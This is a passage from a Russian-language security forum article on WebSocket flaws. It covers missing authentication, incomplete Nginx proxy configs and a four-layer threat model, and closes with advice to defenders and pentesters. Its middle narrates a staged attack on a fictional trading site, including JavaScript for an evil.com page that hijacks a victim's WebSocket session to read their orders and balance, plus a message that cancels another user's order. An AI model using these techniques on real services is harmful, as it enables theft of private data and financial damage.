socket.on('connect', () => { /* а тут проверим, кто это? */ })
. Модель ментальная такова: «Раз подключился - значит, свой». Он забывает не потому, что глуп, а потому что абстракция, предоставляемая библиотекой (socket - это как бы уже пользователь), напрямую способствует этой забывчивости. Библиотека берёт на себя транспорт, а значит, по ощущениям, должна бы взять и безопасность. Но нет.

Администратор, копирующий HTTP-конфиги, - это системный герой, который держит на себе десять сервисов. Он видит в конфиге приложения строчку:
Код:
websocket: true
. Его задача - пропустить трафик. Он открывает конфиг Nginx для этого приложения, видит
Код:
location /
с
Код:
proxy_pass
. Он копирует его, создаёт
Код:
location /ws/
или
Код:
/socket.io/
, добавляет магические строчки

Код:
proxy_http_version 1.1;, proxy_set_header Upgrade $http_upgrade;, proxy_set_header Connection "upgrade";
.
Он молодец. Он сделал, что просили. Трафик пошёл.

Но что он не скопировал, потому что в HTTP-конфиге этого не было?
  • Код:
    proxy_read_timeout 3600s;
    (чтобы соединение не обрывалось по таймауту неактивности).
  • Код:
    proxy_set_header Cookie $http_cookie;
    (если это не наследуется по умолчанию, а в бэкенде проверяют куки).
  • Настройки буферов для больших фреймов (
    Код:
    proxy_buffer_size
    ,
    Код:
    proxy_buffers
    ).
  • Лимиты на скорость (
    Код:
    limit_rate after 10m
    ), если они нужны.
  • Возможно, отдельный limit_conn_zone для контроля количества одновременных WS-соединений с одного IP.
Он не виноват. Он мыслит категориями HTTP-проксирования. WebSocket для него просто «ещё один протокол, который нужно пропустить». Глубже он не идёт, потому что документация по приложению редко содержит раздел «Требования к проксированию WebSocket для эксплуатации в продакшене». Итог: приложение вроде работает, но соединения сами рвутся через 60 секунд, или балансировщик падает под нагрузкой из-за миллионов «висящих» WS-соединений, или, что хуже, бэкенд не получает куки и считает всех анонимными пользователями, открывая дверь для любого.

Мы прошли путь от битых фреймов до CSRF, от парсинга до инъекций. Видели, как можно тихо, без шума, слушать личные сообщения или подменять транзакции.

Давай теперь сделаем из этого не перечень, а нарратив. Историю одной возможной атаки, которая использует всю эту цепочку провалов.

Акт 1: Разведка. Злоумышленник (скажем, мы) смотрит на приложение target-trade.com. В исходном коде страницы находим:

Код:
const ws = new WebSocket('wss://api.target-trade.com/ws/v1');
. Отлично, эндпоинт есть.
Акт 2: Анализ рукопожатия. Нашим
Код:
ws-harness
проверяем Origin. Отправляем с Origin: httрs://evil.com. Соединение устанавливается. Первая победа: сервер не проверяет Origin. Это значит, что любой сайт, который посетит наш жертва (трейдер), сможет от его лица открыть скрытое WS-соединение к торговому серверу.
Акт 3: Анализ протокола. Через DevTools смотрим трафик своего легитимного пользователя. Видим последовательность: после подключения клиент отправляет
Код:
{"auth": "Bearer eyJhbGciOiJIUzI1NiIs..."}
- JWT-токен. Дальше идут подписки:
Код:
{"sub": "orders:user_123"}, {"sub": "quotes:AAPL"}
.
Потом команды:
Код:
{"order": "buy", "qty": 10, "symbol": "AAPL"}
. Протокол понятен.
Акт 4: Поиск слабины. Замечаем, что для подписки на канал orders:user_123 используется просто ID пользователя. Пробуем от своего авторизованного пользователя подписаться на orders:user_456. Сервер разрешает и начинает присылать чужие ордера. Вторая победа: отсутствие изоляции каналов.
Акт 5: Создание эксплуатационной цепочки. Мы не знаем JWT-токен жертвы. Но нам это и не нужно. Мы используем первую уязвимость (Origin Hijacking + CSRF). Пишем страницу на evil.com:

JavaScript:


Код:
const
targetWs
=
new
WebSocket
(
'wss://api.target-trade.com/ws/v1'
)
;
targetWs
.
onopen
=
(
)
=>
{
// 1. Подписываемся на все личные каналы жертвы (её ID мы знаем из публичного профиля).
targetWs
.
send
(
JSON
.
stringify
(
{
"sub"
:
"orders:user_456"
}
)
)
;
targetWs
.
send
(
JSON
.
stringify
(
{
"sub"
:
"balance:user_456"
}
)
)
;
// 2. Ждём, когда придут данные, и тихо сливаем их на наш сервер.
}
;
// ... код для пересылки данных
Акт 6: Атака. Подсовываем жертве эту страницу (фишинг, реклама, XSS на другом сайте). Жертва её посещает. В фоне, без каких-либо видимых действий, её браузер открывает WS к торговому серверу, используя её же сессионные куки (которые браузер подставит автоматически). Наш скрипт получает полный доступ к её потоку ордеров и балансу в реальном времени. Тишина. Ни всплывающих окон, ни подозрительных переходов. Протокол WS не имеет встроенного механизма для уведомления пользователя о новых подключениях. Это не OAuth, где просят подтвердить доступ.

А можно пойти дальше. Если в протоколе есть команда "cancelOrder", и она не проверяет, что отменяемый ордер принадлежит текущему пользователю (а доверяет каналу, из которого пришло сообщение), то мы можем отправить
Код:
{"cancelOrder": "order_id_789"}
и отменить чужую заявку, нанеся финансовый ущерб. Это уже не просто подслушивание, а подмена транзакций.

Всё это не сценарий из фантастического фильма. Это последовательное применение найденных уязвимостей конфигурации и логики.

Важно помнить: каждая новая технология в стеке - это не только фичи, но и новые риски. Особенно когда эта технология ломает старые парадигмы.

Здесь нужно сделать важное уточнение. Риски возникают не из-за новизны, а из-за разрыва шаблона. Человеческий мозг, и в частности мозг разработчика и админа, ищет аналогии. «О, WebSocket - это как долгий HTTP-запрос» или «Это как сокет, но в браузере». Эти аналогии - мины замедленного действия.
  • Парадигма HTTP: «запрос-ответ». Защищаем каждый запрос. Сессия - это кука. Безопасность - это валидация входных параметров и проверка куки.
  • Парадигма WebSocket: «постоянное соединение-сессия». Защищаем установление соединения и каждое сообщение внутри него. Сессия - это объект WebSocketClient в памяти сервера, привязанный к пользователю. Безопасность - это а) проверка при коннекте (Origin, аутентификация), б) stateful-валидация каждого входящего фрейма/сообщения, в) контроль за состоянием этого объекта (не исчерпал ли лимиты, не пытается ли выполнить несовместимые действия).
Когда технология ломает старую парадигму, все наработанные годами практики, туториалы и конфиги становятся частично или полностью неверными. Наступает период хаоса внедрения, когда уязвимости плодятся не потому, что технология плоха, а потому что к ней применяют старые, неподходящие решения. Так было с AJAX (привет, CSRF), с SPA (роутинг, аутентификация), с микросервисами (безопасность межсервисного общения). Теперь с WebSocket и его собратьями (SSE, WebRTC data channels).

Теперь у тебя есть карта этой территории. Инструменты, которые ты можешь доработать под свои нужды. И, что важнее, понимание логики атак.

Карта - это не просто список пунктов «что проверить». Это понимание слоёв:
  1. Слой транспорта (фреймы): Где бьют по парсеру, где по таймаутам, где по маскам.
  2. Слой рукопожатия (HTTP-upgrade): Где подделывают Origin, где играют с подпротоколами, где перехватывают/угадывают токены аутентификации.
  3. Слой сессии (подключение): Как сервер хранит состояние, как привязывает его к пользователю, как изолирует, как контролирует (лимиты).
  4. Слой протокола приложения (сообщения): Где инъекции, где недостаточная авторизация, где race conditions, где логические ошибки.
Инструменты (
Код:
ws-harness
,
Код:
ws_fuzzer
, скрипты для
Код:
mitmproxy
) - это кирка и лопата для исследования этой карты. Их ценность не в том, чтобы запустить и получить красный или зелёный свет. Их ценность в том, чтобы задать системе вопрос и понять по её ответу (или отсутствию ответа), как она устроена внутри. Молчание в ответ на битый фрейм? Значит, парсер упал. Соединение принимается с любым Origin? Значит, дверь открыта для хайджекинга. Сообщение
Код:
{"cmd": "debug"}
возвращает стектрейс? Значит, есть скрытый недокументированный протокол.

Понимание логики атак - это главное. Это переход от тактики («проверить Origin») к стратегии («понять, как злоумышленник может превратить доверительный канал в инструмент скрытого наблюдения и управления»). Это позволяет тебе думать, как атакующий, даже когда конкретного скрипта для атаки ещё не существует. Ты начинаешь видеть потенциал для атаки в самой архитектуре решения.

Используй это для защиты своих систем. И, если уж проводишь пентест, - ищи эти дыры. Они есть. Поверь.

Здесь нет места снисхождению. Фраза «они есть» - не фигура речи. Это статистическая и эмпирическая данность. По данным отчётов по безопасности (например, от Bugcrowd или HackerOne), уязвимости, связанные с недостаточной проверкой Origin и неправильной авторизацией в WebSocket, находятся в топе находок на современных веб-приложениях. Их находят не потому, что они сложные, а потому, что их не ищут целенаправленно. Стандартные методики пентеста часто ограничиваются поверхностной проверкой: «Есть ли WSS? Ок, идём дальше».

Поэтому защита своих систем начинается с признания проблемы. С того, что ты, как архитектор или разработчик, отдаёшь себе отчёт: «Вот этот красивый, живой канал - это не трубка между двумя доверенными комнатами. Это туннель, прорытый из враждебного интернета прямо в самое сердце моей бизнес-логики. И на входе в этот туннель должен стоять не просто шлагбаум (рукопожатие), а полномасштабный контрольно-пропускной пункт с детектором лжи, рентгеном и вооружённой охраной».

А если ты пентестер - ищи эти дыры настойчиво. Не проходи мимо вкладки WebSockets в DevTools. Используй инструменты для фаззинга не только HTTP, но и WS-протокола. Внедряй проверки Origin и авторизации в список обязательных тестов. Твоя задача - не пройти галочкой пункт «проверил WebSocket», а осознанно протестировать все четыре слоя, которые мы описали. Ты знаешь логику. Ты знаешь, где прячется слабость. Ищи её.

Оставайся любопытным. И осторожным.
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.